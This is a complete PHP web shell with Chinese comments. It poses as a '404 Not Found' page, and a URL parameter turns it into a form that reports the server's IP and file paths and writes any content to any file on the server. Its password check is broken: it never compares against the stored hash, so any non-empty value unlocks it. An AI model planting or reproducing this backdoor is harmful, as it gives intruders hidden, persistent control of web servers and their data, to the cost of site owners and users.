<?php
$pass = '9f60bde74f9a56df942c7b9e2aefd527';
$get = $_GET['pass'];
if (!empty($get)) {
if (md5(md5($get))) {
if (!empty($_POST)) {
$path=$_POST['filepath'];
$content=$_POST['filecontent'];
# 文件写入
$statement=fopen($path,"w");
# fopen('文件路径','打开模式')
if(fwrite($statement,$content))
# fwrite('文件路径','文件内容'),成功返回字符数,失败返回false
{
echo '<font color="red">success</font><br/>';
}else{
echo '<font color="red">error!</font><br/>';
}
}
echo '服务器ip: ' . $_SERVER['HTTP_HOST'] . ' ' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';
echo '绝对路径: ' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';
echo '当前目录: ' . __DIR__ . '<br/>';
echo '<form action="" method="post">';
echo '文件路径 <br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';
echo '文件内容 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';
echo '<input type="submit" value="一键起飞">';
echo '</form>';
} else {
echo 'password is worry';
}
} else {
?>
<!--第二部分-404报错界面-->
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\">
<head>
<title>IT:404_Not_Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
</body>
<?php
}
?>
<!-- else 的结束右括号 -->